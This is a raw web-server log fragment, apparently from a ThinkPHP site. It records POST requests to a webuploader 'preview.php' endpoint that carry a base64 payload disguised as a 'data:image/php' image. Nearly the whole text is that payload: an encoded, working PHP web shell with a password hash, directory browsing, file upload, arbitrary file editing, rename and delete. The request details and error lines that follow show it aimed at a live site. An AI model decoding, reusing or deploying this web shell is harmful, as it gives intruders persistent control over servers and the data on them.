'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:27+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/manage/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002547s] [吞吐率:392.61req/s] [内存消耗:196.92kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 